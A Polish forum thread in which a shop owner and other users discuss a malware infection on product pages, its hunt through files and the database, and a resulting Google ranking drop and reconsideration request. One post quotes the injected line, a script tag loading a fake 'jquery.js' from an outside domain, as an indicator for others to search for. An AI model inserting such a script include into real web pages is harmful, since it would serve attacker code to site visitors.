Drastyczny spadek strony w Google na wszystkie frazy.

[zgred]

wirus dokleja się tylko na stronach produktowych - to jest ciekawostka dla mnie. Mniemam że to jest mysql injection, dokleja się za ostatnim tagiem html więc jest odcięty długi ogon, a strona główna i kategorie nie.

[wolfik]

to może wklej tutaj czego powinno sie poszukac u siebie, może więcej osób będzie zainteresowanych

[bartis]

Jeśli jeszcze nie masz - podepnij pod sklep GWT - jak uprzednio pisał Zgred...

Ostatnio miałem dokładnie taką samą sytuację - po wizycie robota otrzymałem maila od G. w wolnym przełożeniu - "masz syfa w serwisie, twój serwis..."

GWT pokazało jaki plik, która linia, do jakiej domeny się odwołuje... (błąd adminów przy przenoszeniu na nowy serwer..)

Po dokonaniu modyfikacji, zabezpieczeniu dziury zostało wysłane info przez gwt - site wrócił po 3 - 4h

[naser]

Jeśli jeszcze nie masz - podepnij pod sklep GWT - jak uprzednio pisał Zgred...

Ostatnio miałem dokładnie taką samą sytuację - po wizycie robota otrzymałem maila od G. w wolnym przełożeniu - "masz syfa w serwisie, twój serwis..."

GWT pokazało jaki plik, która linia, do jakiej domeny się odwołuje... (błąd adminów przy przenoszeniu na nowy serwer..)

Po dokonaniu modyfikacji, zabezpieczeniu dziury zostało wysłane info przez gwt - site wrócił po 3 - 4h

Słuchajcie, mój programista skanował kod w poszukiwaniu tego syfu na wszystkie sposoby i nie znalazło nic. Również nie ma podpiętego pod strony produktu.

Jak może wyglądać w kodzie to co sprawia problem ?

Na tą chwilę nie znajduje się tam nic podejrzanego... co jest niesamowicie flustrujące.

Proszę o pomoc.

[naser]

Zrobiliśmy test wklejając link z Google na istnienie złośliwego oprogramowania z - Narzędzia dla webmasterów.

"Nie wykryto złośliwego oprogramowania" i myślę że rzeczywiście go nie ma ale Google jakimś cudem o tym nie wie.

Ciekawostką jest fakt iż w zakładce "Błędy indeksowania" jest ponad 9000 stron z dopiskiem: Adres URL blokowany przez plik robots.txt

Czy w takim razie skoro w 'Narzędziach dla webmasterów' wyszło iż złośliwego oprogramowania nie ma to powinienem napisać do Google i poprosić ich aby zweryfikowali witrynę po raz kolejny?

[zgred]

napisze dla potomnych:

kolega ma następujacy kod

<script src="https://fairbankhouston.cz.cc/jquery.js"></script>

żeby było ciekawie kod występuje tylko na stronahc produktowych. Strona glówna, kategorie i podkategorie są czyste. No i programista szuka od 2 dni tego kawałka kodu i znaleźc nei może.

Jesli nei ma go w plikach zapewne może siedzieć w bazie MYSQL. Jeśli nie - zmienić hosting.

[naser]

napisze dla potomnych:

kolega ma następujacy kod

<script src="https://fairbankhouston.cz.cc/jquery.js"></script>

żeby było ciekawie kod występuje tylko na stronahc produktowych. Strona glówna, kategorie i podkategorie są czyste. No i programista szuka od 2 dni tego kawałka kodu i znaleźc nei może.

Jesli nei ma go w plikach zapewne może siedzieć w bazie MYSQL. Jeśli nie - zmienić hosting.

Dokładnie: Sprawdzając źródło strony poprzez przeglądarkę widać na końcu doczepiony powyższy kod. Niestety w kodzie sklepu on nie występuje... w zasadzie to on nigdzie nie występuje.

[naser]

Wszystko co możliwe zostało na serwerze sprawdzone i nadal nic nie znaleźliśmy.

Ciekawostką jest to że strona wróciła do wyników wyszukiwania prawie na swoje miejsce. Niektóre frazy odnotowały delikatny spadek.

Teraz czekamy co się stanie dalej ...

Gdyby jednak złośliwe oprogramowanie znalazło się - na pewno dokładnie opiszę tą sytuację.

Pozdrawiam wszystkich i dziękuje za czas poświęcony tej sprawie.

[naser]

Więc tak:

Zleciłem przeszukanie kodu firmie która zajmuje się takimi rzeczami. Po przeskanowaniu kodu znaleźliśmy źródło wirusa. Okazało się że nie jest on doklejony do każdej podstrony lecz użyto 'relatywnego ustawiania elementu' (wg. powyższej firmy). Tak więc miejsce w którym złośliwe oprogramowanie się znajdowało było inne i było tego w cholerę.

Dwa ważne fakty:

1.Dwa dni temu jak jeszcze złośliwe oprogramowanie było na stronie, strona nagle wróciła do wyników wyszukiwania na lepsze pozycje niż przed spadkiem.

2. Zgłosiłem stronę wczoraj do Google z prośbą o rozpatrzenie wniosku odnośnie faktu iż wirus już nie znajduje się na stronie.

3. Dziś strona spadła jeszcze niżej niż wcześniej i sytuacja jest znów taka sama czyli mega-tragiczna.

Spodziewam się tu rad - 'Musisz to przeczekać...' , a moje pytanie brzmi "Ile?'

[naser]

Więc tak:

Zleciłem przeszukanie kodu firmie która zajmuje się takimi rzeczami. Po przeskanowaniu kodu znaleźliśmy źródło wirusa. Okazało się że nie jest on doklejony do każdej podstrony lecz użyto 'relatywnego ustawiania elementu' (wg. powyższej firmy). Tak więc miejsce w którym złośliwe oprogramowanie się znajdowało było inne i było tego w cholerę.

Dwa ważne fakty:

1.Dwa dni temu jak jeszcze złośliwe oprogramowanie było na stronie, strona nagle wróciła do wyników wyszukiwania na lepsze pozycje niż przed spadkiem.

2. Zgłosiłem stronę wczoraj do Google z prośbą o rozpatrzenie wniosku odnośnie faktu iż wirus już nie znajduje się na stronie.

3. Dziś strona spadła jeszcze niżej niż wcześniej i sytuacja jest znów taka sama czyli mega-tragiczna.

Spodziewam się tu rad - 'Musisz to przeczekać...' , a moje pytanie brzmi "Ile?'

...3 ważne fakty.

[zgred]

3-7 dni - algorytm Gugla cosik przelicza ostatnio podle

[marcin_dance]

Miałem podobnego vira.

Kod doklejał się na wszystkich stronach na serwerze.

Okazało się, że vir był na moim kompie i łączył się poprzez TotalCommandera.

MalwareByte pomógł

[naser]

Miałem podobnego vira.

Kod doklejał się na wszystkich stronach na serwerze.

Okazało się, że vir był na moim kompie i łączył się poprzez TotalCommandera.

MalwareByte pomógł

Nie wiem na 100% czy w taki sposób wdarł się virus - jest duże prawdopodobieństwo. Tak czy inaczej TC już nie ma na moim komputerze - przezorny zawsze ubezpieczony (Antyvirus skanował standardowo codziennie ale nic nie znalazł). Kod został oczyszczony i nic już w nim podejrzanego nie siedzi.

Nurtuje mnie jednak coś innego, a mianowicie fakt iż mimo wysłanej wiadomości do Google, na stronę wciąż nałożony jest filtr. Filtr został nałożony na wszystkie strony z produktami natomiast strona główna ma się dobrze (było w poprzednich postach).

Nie ukrywam złości i tego że czuje się za********e niesprawiedliwie potraktowany w sytuacji w której nie zrobiłem nic złego, a wręcz przeciwnie - poświęciłem parę groszy więcej wynajmując pozycjonerów z doświadczeniem tak żeby nie podpaść G.

Ponadto przeglądając internet natknąłem się na kilka artykułów, postów w których wypowiadają się kolesie którym biznesy popadały przez to że szanowna 'wyszukiwarka' stosuje działania często niesprawiedliwe (jak na monopolistę przystało). Z zaczerpniętej wiedzy nie dowiedziałem się nic poza: 'Moja strona ma filtr od 3 lat...' 'Na mój sklep nałożono filtr 1,5 roku temu - pomocy'.

Generalnie jest kwas, a ja jestem ciekaw czy mogę zrobić coś poza czekaniem... gdyż nie chcę dołączyć do autorów powyższych, napisanych grubą czcionką wersów.

[zgred]

Nalezy zgłosić żądani eponownego rozpatrzeni ai opisać, że zlośliwy kod został usunięty - do 14 dni powinna być reakcja. Jak nei ma tzn że coś jeszcze jest nie tak z serwisem.

[naser]

Nalezy zgłosić żądani eponownego rozpatrzeni ai opisać, że zlośliwy kod został usunięty - do 14 dni powinna być reakcja. Jak nei ma tzn że coś jeszcze jest nie tak z serwisem.

Zgłosiłem to właśnie w taki sposób. Reakcji nie ma i nie będzie. Otrzymałem automatyczną odpowiedź:

We've received a request from a site owner to reconsider how we index the following site: https://www.**********.com/

We'll review the site. If we find that it's no longer in violation of our Webmaster Guidelines, we'll reconsider our indexing of the site. Please allow several weeks for the reconsideration request. We do review all requests, but unfortunately we can't reply individually to each request.

Kod jest czysty w 100%, a jeśli coś tam jest to żaden program nie jest w stanie tego znaleźć.